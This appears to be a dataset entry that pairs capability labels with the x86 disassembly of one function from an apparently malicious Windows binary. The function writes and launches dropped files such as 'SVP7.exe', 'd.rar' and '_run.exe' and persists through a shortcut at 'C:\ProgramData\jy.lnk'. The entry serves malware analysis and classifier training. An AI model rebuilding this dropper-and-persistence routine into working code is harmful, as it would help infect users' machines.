Function at 0x10006843
Capabilities:
Persist via lnk shortcut
Write file on windows

Disassembly:
mov eax, 0x1001a176
call fcn.1001566c
sub esp, 0x68c
push ebx
push esi
push edi
call fcn.100066e9
push 0x59
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x25b]
mov byte [ebp - 0x25c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push 0x20c
lea eax, [ebp - 0x698]
push edi
push eax
call dword [0x10027348]
add esp, 0xc
lea eax, [ebp - 0x25c]
push ebx
push 0x1a
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x25c]
push eax
call dword [0x100273a0]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0xf4]
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x324]
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
lea eax, [ebp - 0x58c]
push eax
lea eax, [ebp - 0x25c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x25c]
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006936
lea eax, [ebp - 0x2c]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffdf4
add edi, 0x20c
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000693d
xor eax, eax
jmp 0x10006ba9
push esi
call dword [0x10027270]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x48b]
mov byte [ebp - 0x48c], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x48c]
push esi
push eax
push ebx
call dword [0x10027260]
call dword [0x1002721c]
push eax
push ebx
push 0x1f0fff
call dword [0x10027230]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push ecx
lea ecx, [ebp - 0x48c]
push ecx
push ebx
push eax
call dword [0x10027240]
push ebx
lea eax, [ebp - 0x90]
push 0x2e
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x90]
push str.SVP7.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x90]
pop ecx
push ebx
push eax
lea eax, [ebp - 0x48c]
push eax
call dword [0x1002720c]
test eax, eax
je 0x100069e1
lea eax, [ebp - 0x90]
push eax
call dword [0x1002739c]
lea eax, [ebp - 0x25c]
push eax
call dword [0x10027398]
test eax, eax
je 0x10006ba6
push ecx
mov ecx, esp
mov dword [ebp + 8], esp
push 0x100270e0
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [ebp - 0xf4]
mov ecx, esp
mov dword [ebp + 0xc], esp
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [ebp - 0x25c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_2
or dword [ebp - 4], 0xffffffff
call fcn.100046d7
add esp, 0xc
cmp eax, ebx
je 0x10006ba6
lea eax, [ebp - 0x25c]
push eax
call dword [0x10027208]
lea eax, [ebp - 0xf4]
push 0x10024464
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x324]
push str.d.rar
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x2c0]
push str._run.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0xf4]
push ebx
push ebx
push ebx
push eax
push ebx
push ebx
call dword [0x10027390]
neg eax
sbb eax, eax
inc eax
cmp eax, 0x20
jg 0x10006ba6
push ebx
lea eax, [ebp - 0x388]
push 7
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x388]
push 0x10024484
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x388]
pop ecx
push eax
call dword [0x10027398]
test eax, eax
je 0x10006aa8
mov eax, dword [str.run.exe]
mov esi, str.1200.exe
lea edi, [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [0x100244a8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
push eax
movsb byte es:[edi], byte [esi]
call fcn.1000667f
test eax, eax
pop ecx
je 0x10006b11
push ecx
lea eax, [ebp - 0x24]
mov ecx, esp
mov dword [ebp + 8], esp
jmp 0x10006b28
lea eax, [ebp - 0x18]
push eax
call fcn.1000667f
test eax, eax
pop ecx
je 0x10006b39
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.100053bd
pop ecx
jmp 0x10006aa8
lea eax, [ebp - 0x90]
push str.1234
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.C:ProgramDatajy.lnk
call dword [0x10027208]
push ecx
lea eax, [ebp - 0x90]
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.10006582
pop ecx
lea eax, [ebp - 0x324]
push eax
call dword [0x10027208]
lea eax, [ebp - 0xf4]
push eax
call dword [0x10027208]
test eax, eax
je 0x10006aa8
lea eax, [ebp - 0x2c0]
push eax
call dword [0x10027208]
test eax, eax
je 0x10006aa8
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret